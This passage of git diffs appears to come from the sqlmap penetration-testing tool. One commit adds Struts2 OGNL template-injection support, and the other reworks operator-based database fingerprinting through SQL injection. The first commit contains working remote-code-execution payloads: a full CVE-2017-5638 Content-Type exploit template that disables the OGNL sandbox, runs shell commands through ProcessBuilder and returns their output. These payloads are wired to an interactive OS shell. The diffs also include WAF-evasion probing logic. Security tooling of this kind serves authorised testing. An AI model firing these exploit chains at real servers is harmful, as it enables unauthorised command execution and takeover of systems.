Connect as Request +from thirdparty.six.moves.urllib.parse import quote as _quote SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST) @@ -164,6 +166,18 @@ def _degroup(text): (("${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('{CMD}').getInputStream())).readLine()}", "SpEL readLine (output)"), ("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec (blind)"), ("${(#rt=@java.lang.Runtime@getRuntime()).exec('{CMD}')}", "OGNL @Runtime@getRuntime (blind)"))), + Engine("Struts2 (OGNL)", "java", + "%{", "}", + r"(?i)(?:ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)|InaccessibleObjectException)", + ("%{", "%{}", "%{1/0}"), + "%{%d*%d}", "", + "%{true}", "%{false}", "true", "false", + None, None, # '%{' is unique in the table -> arithmetic proof alone names Struts2 OGNL + "%{%s}", + # Struts2 OGNL: modern chain resets the sandbox (#_memberAccess) then reads the process + # stdout in-band; the legacy @Runtime@ form is a blind fallback for old (pre-sandbox) Struts. + (("%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD}'})).(#p.redirectErrorStream(true)).(#pr=#p.start()).(#sc=new java.util.Scanner(#pr.getInputStream()).useDelimiter('\\\\A')).(#sc.hasNext()?#sc.next():'')}", "memberAccess reset + ProcessBuilder (output)"), + ("%{(#a=@java.lang.Runtime@getRuntime().exec('{CMD}'))}", "@Runtime@getRuntime (blind, legacy)"))), # -- Ruby --------------------------------------------------------------------------------------------- Engine("ERB", "ruby", "<%=", "%>", @@ -250,7 +264,10 @@ def _send(place, parameter, value): time.sleep(conf.delay) old_params = conf.parameters.get(place, "") - conf.parameters[place] = _replaceSegment(place, parameter, value) + # URL-encode the injected value so payload metacharacters survive on the wire: '%' (OGNL/ERB + # delimiters, e.g. Struts2 '%{...}'), '#' (OGNL context vars / fragment delimiter), and '&'/'='/ + # space would otherwise be mangled or split by the server before the template ever sees them. + conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="")) try: kwargs = {"raise404": False, "silent": True} @@ -587,6 +604,26 @@ def sstiScan(): debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" logger.debug(debugMsg) + # CVE-2017-5638 (S2-045): OGNL via the Content-Type header - a distinct, non-reflected Struts2 + # vector that needs no request parameter, so it is probed once up front. + if _probeStruts2Header(conf.url): + logger.info("%s header is vulnerable to SSTI (back-end: 'Struts2 (OGNL)', CVE-2017-5638)" % HTTP_HEADER.CONTENT_TYPE) + if conf.beep: + beep() + report = ("---\nParameter: %s ((custom) HEADER)\n Type: SSTI\n" + " Title: Struts2 OGNL injection via Content-Type header (CVE-2017-5638)\n" + " Payload: %s: %%{(#_memberAccess=...).(...)}\n---" % (HTTP_HEADER.CONTENT_TYPE, HTTP_HEADER.CONTENT_TYPE)) + conf.dumper.singleString(report) + if not any(conf.get(_) for _ in ("osCmd", "osShell")): + logger.info("the back-end 'Struts2 (OGNL)' allows OS command execution via this injection; " + "you are advised to try '--os-shell' (interactive) or '--os-cmd=' (single command)") + if conf.get("osCmd"): + _dumpS2045(conf.url, conf.osCmd) + if conf.get("osShell"): + _osShell(lambda cmd: _dumpS2045(conf.url, cmd)) + logger.info("SSTI scan complete") + return + if not conf.paramDict: logger.error("no request parameters to test (use --data, GET params, or similar)") return @@ -641,7 +678,6 @@ def sstiScan(): if found: slot = found[0] place, parameter, engine, evidence = slot - from lib.core.common import readInput wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell")) @@ -664,12 +700,7 @@ def sstiScan(): # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which # reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it. if conf.get("osShell"): - logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave") - while True: - cmd = readInput("os-shell> ", checkBatch=False) - if not cmd or cmd.strip().lower() in ("exit", "quit"): - break - _executeCommand(place, parameter, engine, cmd.strip()) + _osShell(lambda cmd: _executeCommand(place, parameter, engine, cmd)) logger.info("SSTI scan complete") @@ -701,6 +732,10 @@ def _canTakeover(engine, evidence): "${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}", "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}", ), + "Struts2 (OGNL)": ( + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}", + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}", + ), } @@ -732,6 +767,12 @@ def _commandOutput(page, baseline, original, payload, engine): if output and output in payload: return None + # A bare Process-object toString ("Process[pid=..]" on JDK9+, "java.lang.UNIXProcess@.."/"ProcessImpl@.." + # on JDK8) means the command RAN but its stdout was never captured (a blind exec) - not real output, + # so reject it and let the caller fall through to the file-based capture (_FILE_RCE). + if output and re.search(r"Process\[pid=|(?:UNIXProcess|ProcessImpl|Process)@[0-9a-f]", output): + return None + if output and _ratio(output, baseText) < UPPER_RATIO_BOUND: if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output): return output @@ -808,3 +849,78 @@ def _executeCommand(place, parameter, engine, cmd): return logger.warning("no output received for OS command '%s'" % cmd) + + +def _osShell(execFn): + """Shared interactive OS-shell loop (runs under --batch like the SQL one). execFn(cmd) runs and + reports a single command. EOF / 'exit' / 'quit' leaves.""" + from lib.core.common import readInput + logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave") + while True: + cmd = readInput("os-shell> ", checkBatch=False) + if not cmd or cmd.strip().lower() in ("exit", "quit"): + break + execFn(cmd.strip()) + + +# CVE-2017-5638 (S2-045): OGNL injection via the Content-Type header of a Jakarta-multipart Struts2 +# action - a distinct vector from the parameter one: the Content-Type is NOT reflected, so the payload +# writes its result straight to the HTTP response. The prefix resets OGNL member access and clears the +# excluded classes/packages (the modern-Struts2 sandbox); {ACTION} prints a marker (detection) or runs +# a command and copies its stdout to the response (exploitation). +_S2045_TEMPLATE = ("%{(#nike='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#resp=@org.apache.struts2.ServletActionContext@getResponse())." + "{ACTION}}") + + +def _s2045Send(url, action): + """Send one request carrying the S2-045 Content-Type payload ({ACTION} substituted in).""" + payload = _S2045_TEMPLATE.replace("{ACTION}", action) + try: + page, _, _ = Request.getPage(url=url, auxHeaders={HTTP_HEADER.CONTENT_TYPE: payload}, + raise404=False, silent=True) + return getUnicode(page or "") + except Exception as ex: + logger.debug("S2-045 Content-Type probe failed: %s" % getUnicode(ex)) + return "" + + +def _probeStruts2Header(url): + """Detect CVE-2017-5638 benignly: print a random marker to the response via OGNL (no command + execution) and confirm it echoes back. Returns the marker on success, else None.""" + marker = randomStr(length=16, lowercase=True) + action = "(#w=#resp.getWriter()).(#w.print('%s')).(#w.flush())" % marker + page = _s2045Send(url, action) + return marker if (page and marker in page) else None + + +def _executeStruts2Header(url, cmd): + """Run an OS command through the S2-045 Content-Type vector and return its stdout. The output is + bracketed by random markers (echoed by the shell) so it slices cleanly out of a response that also + carries the action's own HTML.""" + start, end = randomStr(length=10, lowercase=True), randomStr(length=10, lowercase=True) + wrapped = "echo %s; %s 2>&1; echo %s" % (start, cmd, end) + action = ("(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','%s'}))." + "(#p.redirectErrorStream(true)).(#pr=#p.start())." + "(@org.apache.commons.io.IOUtils@copy(#pr.getInputStream(),#resp.getOutputStream()))." + "(#resp.getOutputStream().flush())") % _escapeSingleQuoted(wrapped) + page = _s2045Send(url, action) + if start in page and end in page: + return page.split(start, 1)[-1].split(end, 1)[0].strip("\r\n") + return None + + +def _dumpS2045(url, cmd): + """Run one command via the S2-045 vector and report its output (or a no-output warning).""" + output = _executeStruts2Header(url, cmd) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [S2-045 Content-Type]:\n%s" % (cmd, output)) + else: + logger.warning("no output received for OS command '%s'" % cmd) diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 2a05ddd3c62..5ba345468ed 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -87,6 +87,20 @@ def mock(place, parameter, value): ssti._send = mock self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + def test_struts2_ognl_arithmetic_control_pair(self): + # Struts2 evaluates '%{expr}' (OGNL) and reflects it in the redisplayed field value + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Struts2 (OGNL)"][0] + + def mock(place, parameter, value): + import re + m = re.search(r"%\{(\d+)\*(\d+)\}", value) + if m: + return 'name="username" value="%d"' % (int(m.group(1)) * int(m.group(2))) + return 'name="username" value="%s"' % value + + ssti._send = mock + self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + def test_arithmetic_requires_both_results_correct(self): engine = ssti._ENGINE_TABLE[0] @@ -613,3 +627,42 @@ def mock(place, parameter, value): ssti._executeCommand("GET", "q", engine, "id") self.assertTrue(any("uid=0(root)" in _ for _ in self.captured), msg="two-step file-based RCE did not surface command output: %r" % self.captured) + + +class TestStruts2Header(unittest.TestCase): + """CVE-2017-5638 (S2-045): OGNL via the Content-Type header. The vector is not reflected, so + detection prints a marker to the response and RCE brackets stdout with markers to slice it out.""" + + def setUp(self): + self._s2045Send = ssti._s2045Send + + def tearDown(self): + ssti._s2045Send = self._s2045Send + + def test_struts2_wired_for_file_rce(self): + self.assertIn("Struts2 (OGNL)", ssti._FILE_RCE) # modern-JDK file-based fallback wired + + def test_s2045_detection_marker_echo(self): + import re + # a vulnerable Struts2 evaluates the OGNL and writes the printed marker into the response + def mock(url, action): + m = re.search(r"#w\.print\('([a-z0-9]+)'\)", action) + return " %s " % m.group(1) if m else "" + ssti._s2045Send = mock + self.assertIsNotNone(ssti._probeStruts2Header("http://target")) + + def test_s2045_not_vulnerable(self): + ssti._s2045Send = lambda url, action: "ordinary Struts page, no eval" + self.assertIsNone(ssti._probeStruts2Header("http://target")) + + def test_s2045_command_output_sliced_from_markers(self): + # the shell echoes start/end markers around stdout; the response also carries the action HTML + def mock(url, action): + m = re.search(r"echo ([a-z0-9]+); .* 2>&1; echo ([a-z0-9]+)", action) + if not m: + return "" + start, end = m.group(1), m.group(2) + return "%s\nuid=0(root) gid=0(root)\n%s" % (start, end) + import re + ssti._s2045Send = mock + self.assertEqual(ssti._executeStruts2Header("http://target", "id"), "uid=0(root) gid=0(root)") From 76b75e95f091d9e8ede62fd4b9bec7422da30e4a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 17 Jul 2026 14:46:52 +0200 Subject: [PATCH 768/853] Improving dialect checks --- lib/controller/checks.py | 13 ++- lib/core/dicts.py | 6 +- lib/core/settings.py | 2 +- lib/utils/dialect.py | 196 ++++++++++++++++++-------------- tests/test_dialectdbms.py | 233 ++++++++++++++++++++++++-------------- 5 files changed, 270 insertions(+), 180 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 527a52e3f1e..f7c9d5e31e1 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -166,9 +166,11 @@ def checkSqlInjection(place, parameter, value): # keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads # and is skipped when the WAF/IPS is dropping requests; the operator-dialect # probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in - # that case (or when it was inconclusive), using the now-calibrated boolean oracle - if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None: - kb.heuristicDbms = dialectCheckDbms(injection) + # that case (or when it was inconclusive), using the now-calibrated boolean oracle. + # It feeds the lower-confidence heuristicExtendedDbms (UNION FROM / handler hint), + # deliberately NOT heuristicDbms, so it never drives reduceTests (skipping payloads) + if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and kb.heuristicExtendedDbms is None: + kb.heuristicExtendedDbms = dialectCheckDbms(injection) # If the DBMS has already been fingerprinted (via DBMS-specific # error message, simple heuristic check or via DBMS-specific @@ -730,7 +732,8 @@ def genCmpPayload(): if len(kb.dbmsFilter or []) == 1: Backend.forceDbms(kb.dbmsFilter[0]) elif not Backend.getIdentifiedDbms(): - if kb.heuristicDbms is None: + heuristicDbms = kb.heuristicDbms or kb.heuristicExtendedDbms + if heuristicDbms is None: if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data: warnMsg = "using unescaped version of the test " warnMsg += "because of zero knowledge of the " @@ -738,7 +741,7 @@ def genCmpPayload(): warnMsg += "explicitly set it with option '--dbms'" singleTimeWarnMessage(warnMsg) else: - Backend.forceDbms(kb.heuristicDbms) + Backend.forceDbms(heuristicDbms) if unionExtended: infoMsg = "automatically extending ranges for UNION " diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 2387a477270..821e2abefa1 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -294,13 +294,15 @@ DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", DBMS.MSSQL: "PARSENAME(NULL,NULL)", + DBMS.SYBASE: "STR_REPLACE(NULL,'x','x')", # ASE extension (MSSQL has REPLACE); doc-derived, not live-tested. Also SAP IQ / SQL Anywhere (not in DBMS) DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0 DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", DBMS.SQLITE: "JULIANDAY(NULL)", DBMS.H2: "STRINGTOUTF8(NULL)", DBMS.MONETDB: "CODE(NULL)", - DBMS.DERBY: "NULLIF(USER,SESSION_USER)", + DBMS.DERBY: "NULLIF(USER,SESSION_USER)", # not Derby-specific; safe only because DB2 (shares this dummy) is tested first + DBMS.DB2: "MULTIPLY_ALT(NULL,NULL)", # DB2-unique (Derby shares the dummy, not this function) DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", DBMS.MCKOI: "TONUMBER(NULL)", DBMS.PRESTO: "FROM_HEX(NULL)", @@ -314,7 +316,7 @@ DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", DBMS.CLICKHOUSE: "halfMD5(NULL)", DBMS.SNOWFLAKE: "BOOLNOT(NULL)", - DBMS.SPANNER: "FARM_FINGERPRINT(NULL)", + DBMS.SPANNER: "FARM_FINGERPRINT(NULL)", # also BigQuery GoogleSQL (not in DBMS) DBMS.HANA: "MAP(NULL,NULL,NULL,NULL,NULL)", } diff --git a/lib/core/settings.py b/lib/core/settings.py index d0f79826d4e..3556556899f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.111" +VERSION = "1.10.7.112" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py index 47f973edcb1..b76fcf058f2 100644 --- a/lib/utils/dialect.py +++ b/lib/utils/dialect.py @@ -12,109 +12,126 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.settings import SINGLE_QUOTE_MARKER from lib.request.inject import checkBooleanExpression -# Operator-dialect probes for a keyword-free back-end DBMS heuristic. -# -# Each probe is an arithmetic identity that holds only in the dialect(s) noted, using operator -# *semantics* alone - no SQL keywords, functions, quotes or schema names. It complements -# heuristicCheckDbms() (which uses (SELECT 'x')='x' string round-trips): the dialect probes carry -# no SELECT/quote, so they can narrow the back-end DBMS where those are dropped (e.g. a -# keyword-matching WAF/IPS, or when kb.droppingRequests has it skipped entirely). -# -# Each probe is evaluated through checkBooleanExpression(), i.e. as an appended boolean -# (... AND ()), which yields a clean true/false from the comparison oracle. (A value-position -# variant - replacing the value with id=2^0 etc. - was prototyped and rejected: those probes land on -# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing -# false positives. See PROVE_DESIGN.md.) -# -# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5, -# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, -# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify() -# (only measured signatures classify; anything else -> None). With anchor value 2: -# -# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) -# vs no such operator (SQLite/Oracle/... -> error, so false) -# * 2^3=8 -> '^' is exponentiation (PostgreSQL/CockroachDB/CrateDB: 2^3=8) - false for XOR dialects -# (2^3=1) and erroring dialects; a positive PostgreSQL-family marker. CAVEAT: -# '^'=exponentiation is not strictly unique to PostgreSQL - MS Access/Jet and DuckDB -# also use it (neither on the platform), so this can read as PostgreSQL there. -# * 5/2=2 -> integer division (PostgreSQL/MSSQL/SQLite/MonetDB) vs real division (MySQL/Oracle: 2.5) -# * 2|0=2 -> a bitwise OR operator exists (absent in Firebird/Oracle/ClickHouse/H2) -# * 1<<2=4 -> a bit-shift operator exists. MonetDB shares MSSQL's (xor, intdiv) = (True, True) -# signature exactly, which would misread MonetDB as SQL Server; MonetDB HAS '<<' while -# SQL Server has NO shift operator (any version) -> this probe splits that one collision. +# Operator/typing-dialect probes for a WAF-tolerant back-end DBMS heuristic, complementing +# heuristicCheckDbms() for when a WAF/IPS drops its SELECT/quote payloads. Each probe is fed to +# checkBooleanExpression() (appended as ... AND ()); all but catplus use only non-alphanumeric +# operators (WAF-friendly). Minimal set giving a collision-free signature to the classes below. DIALECT_PROBES = ( - ("xor", "2^0=2"), - ("pgpow", "2^3=8"), - ("intdiv", "5/2=2"), - ("bitor", "2|0=2"), - ("shift", "1<<2=4"), + ("pow", "2^3=8"), # '^' is exponentiation + ("intdiv", "5/2=2"), # integer division + ("mod", "5%2=1"), # '%' modulo operator + ("bitor", "2|0=2"), # '|' bitwise-OR operator + ("xeq", "1^=2"), # '^=' not-equal operator + ("bslash", "5\\2=2"), # '\' integer division + ("catplus", "%sa%s+%sb%s=%sab%s" % ((SINGLE_QUOTE_MARKER,) * 6)), # '+' concatenates strings + ("numcat", "1||1=11"), # '||' concatenates with numeric coercion ) -# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that -# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails, -# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the -# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle -# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a -# meaningless signature. It uses a trailing-operator form, distinct from the ' ' no-operator -# form already exercised by sqlmap's earlier false-positive check, so it adds new information. +# Trust gate: a syntactically-invalid trailing-operator expression a real back-end can only read as +# FALSE. A noise/false-positive channel reads it TRUE, proving the oracle is untrustworthy -> None. DIALECT_CANARY = "2+" -# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live -# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a -# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition -# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the -# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once). +# Reachability canaries for adversarial WAFs that selectively drop operator characters. A dropped probe +# reads FALSE, indistinguishable from a semantic FALSE, silently degrading the signature. Each canary +# embeds probe characters inside a string literal (semantically inert), so it is universally TRUE unless +# the WAF filters a character. The combined form is a fast path; on failure the per-char forms (via +# _reachCanary) locate the blocked bits, which _classify() then treats as unknown/wildcard. +_DIALECT_REACH_CHARS = (("^", (0, 4)), ("/", (1,)), ("%", (2,)), ("|", (3, 7)), ("\\", (5,)), ("+", (6,))) +_DIALECT_REACH_BODY = "a^b/c%d|e\\f+g" +DIALECT_REACH_CANARY = "%s%s%s=%s%s%s" % (SINGLE_QUOTE_MARKER, _DIALECT_REACH_BODY, SINGLE_QUOTE_MARKER, SINGLE_QUOTE_MARKER, _DIALECT_REACH_BODY, SINGLE_QUOTE_MARKER) + +# Exact operator-dialect signature -> back-end DBMS (strict whitelist). Any signature not listed - an +# unmeasured engine/version or a noise channel - returns None, so the heuristic never wrong-foots a scan. +# All rows are live-measured except Spanner (documentation-derived, tagged inline). _SIGNATURE_DBMS = { - # xor pgpow intdiv bitor shift - (True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB - (False, True, True, True, True): DBMS.PGSQL, # PostgreSQL - (False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True) - (False, True, True, True, False): DBMS.PGSQL, # CrateDB - (True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift) - (True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<') - (False, False, True, True, True): DBMS.SQLITE, # SQLite + # pow intdiv mod bitor xeq bslash catplus numcat + (False, False, False, False, False, False, False, True): DBMS.INFORMIX, # Informix + (False, False, False, False, False, True, False, True): DBMS.CACHE, # InterSystems IRIS/Cache ('\' int-div) + (False, False, False, False, True, False, False, True): DBMS.ORACLE, # Oracle ('^=' not-equal) + (False, False, False, True, False, False, False, False): DBMS.SPANNER, # Google Cloud Spanner (only '|' works) - doc-derived, not live-tested + (False, False, True, False, False, False, False, True): DBMS.CLICKHOUSE, # ClickHouse (no bitwise-OR) + (False, False, True, True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB + (False, True, False, False, False, False, False, False): DBMS.DERBY, # Apache Derby + (False, True, False, False, False, False, True, False): DBMS.HSQLDB, # HSQLDB ('+' concat) + (False, True, False, False, True, False, False, True): DBMS.FIREBIRD, # Firebird ('^=') + (False, True, True, False, False, False, False, False): DBMS.PRESTO, # Presto / Trino + (False, True, True, False, False, False, False, True): DBMS.H2, # H2 + (False, True, True, True, False, False, False, False): DBMS.SQLITE, # SQLite + (False, True, True, True, False, False, False, True): DBMS.MONETDB, # MonetDB + (False, True, True, True, False, False, True, False): DBMS.MSSQL, # Microsoft SQL Server (2019 AND 2022) + (False, True, True, True, False, False, True, True): DBMS.CUBRID, # CUBRID (like MonetDB but '+' concat) + (False, True, True, True, True, False, False, True): DBMS.DB2, # IBM DB2 ('^=', no '<<'/'\') + (True, False, False, False, False, True, True, False): DBMS.ACCESS, # Microsoft Access (ACE/JET: '^' exp + '\' int-div + '+' concat) + (True, False, True, True, False, False, False, False): DBMS.PGSQL, # PostgreSQL + (True, False, True, True, False, False, False, True): DBMS.VERTICA, # Vertica (pg-derived but numeric '||') + (True, False, True, True, True, False, False, True): DBMS.PGSQL, # openGauss (Oracle-compat '^=') + (True, True, True, True, False, False, False, False): DBMS.PGSQL, # PostgreSQL / CrateDB variant + (True, True, True, True, False, False, False, True): DBMS.PGSQL, # PostgreSQL variant } -def _classify(signature): +def _classify(signature, unknown=()): """ - Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS - through a strict whitelist of live-measured signatures, or returns None when the signature is not - a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so - detection proceeds unchanged and the heuristic never wrong-foots the scan. + Maps an exact 8-bit operator/typing signature to a back-end DBMS via the strict whitelist, or None + when the signature is not a known fingerprint (unmeasured engine, or a noise/false-positive channel). + + 'unknown' holds bit indices whose probe character a WAF is dropping (so their FALSE is meaningless); + they are treated as wildcards and a DBMS is named only when the remaining trusted bits are unanimous, + which cannot misclassify (the true signature is always among the candidates). - >>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB + >>> _classify((False, False, True, True, False, False, True, True), unknown={2}) # MySQL, mod blocked -> still unique 'MySQL' - >>> _classify((False, True, True, True, True)) # PostgreSQL - 'PostgreSQL' - >>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family - 'PostgreSQL' - >>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family - 'PostgreSQL' - >>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift) + >>> _classify((False, True, True, False, False, False, False, True), unknown={7}) is None # H2 vs Presto ambiguous -> None + True + >>> _classify((False, False, True, True, False, False, True, True)) # MySQL / MariaDB / TiDB + 'MySQL' + >>> _classify((False, True, True, True, False, False, True, False)) # Microsoft SQL Server (2019 and 2022) 'Microsoft SQL Server' - >>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<') + >>> _classify((False, True, True, True, False, False, False, True)) # MonetDB 'MonetDB' - >>> _classify((False, False, True, True, True)) # SQLite + >>> _classify((True, True, True, True, False, False, False, False)) # PostgreSQL / CrateDB + 'PostgreSQL' + >>> _classify((False, True, True, True, False, False, False, False)) # SQLite 'SQLite' - >>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None - True - >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None - True - >>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive + >>> _classify((False, False, True, False, False, False, False, True)) # ClickHouse + 'ClickHouse' + >>> _classify((False, False, False, False, True, False, False, True)) # Oracle ('^=') + 'Oracle' + >>> _classify((False, False, False, False, False, True, False, True)) # InterSystems IRIS/Cache (Oracle but no '^=') + 'InterSystems Cache' + >>> _classify((False, True, False, False, True, False, False, True)) # Firebird + 'Firebird' + >>> _classify((False, True, False, False, False, False, False, False)) # Apache Derby + 'Apache Derby' + >>> _classify((True, False, False, False, False, True, True, False)) # Microsoft Access ('^' exp + '\' int-div) + 'Microsoft Access' + >>> _classify((False, False, False, True, False, False, False, False)) # Google Cloud Spanner (doc-derived: only '|' bitwise-OR) + 'Spanner' + >>> _classify((True, True, True, True, True, True, True, True)) is None # unmeasured / noise -> None True """ - return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature)) + signature = tuple(bool(_) for _ in signature) + + if not unknown: + return _SIGNATURE_DBMS.get(signature) + + unknown = set(unknown) + candidates = set(dbms for sig, dbms in _SIGNATURE_DBMS.items() if all(sig[i] == signature[i] for i in range(len(signature)) if i not in unknown)) + + return next(iter(candidates)) if len(candidates) == 1 else None + +def _reachCanary(char): + lit = "%sx%sx%s" % (SINGLE_QUOTE_MARKER, char, SINGLE_QUOTE_MARKER) + return "%s=%s" % (lit, lit) def dialectCheckDbms(injection): """ - Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the - given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the - WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe - here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous, - WAF-blocked or false-positive channel yields None, leaving the scan unchanged. + Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the given + (boolean-capable) injection. Complements heuristicCheckDbms() (whose SELECT/quote payloads a WAF/IPS + may drop). Returns the DBMS name, or None for an ambiguous, WAF-blocked or false-positive channel. """ retVal = None @@ -126,14 +143,19 @@ def dialectCheckDbms(injection): kb.injection = injection try: - # Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE, - # and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query - # fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which - # is proof the oracle is trash, so classification is skipped (a true negative) instead of - # emitting a bogus DBMS from a meaningless signature. + # trust gate: a real oracle reads the tautology TRUE, the contradiction FALSE, the invalid + # canary FALSE. A noise channel reads them alike (canary TRUE) -> skip rather than guess. if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY): signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES) - retVal = _classify(signature) + + # detect WAF-dropped probe characters (a dropped probe reads FALSE); mark their bits unknown + unknown = set() + if not checkBooleanExpression(DIALECT_REACH_CANARY): + for char, bits in _DIALECT_REACH_CHARS: + if not checkBooleanExpression(_reachCanary(char)): + unknown.update(bits) + + retVal = _classify(signature, unknown) finally: kb.injection = popValue() diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py index 040d80b1a6e..26520ca74a2 100644 --- a/tests/test_dialectdbms.py +++ b/tests/test_dialectdbms.py @@ -4,13 +4,9 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission -Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table: -the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live -SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the -expected 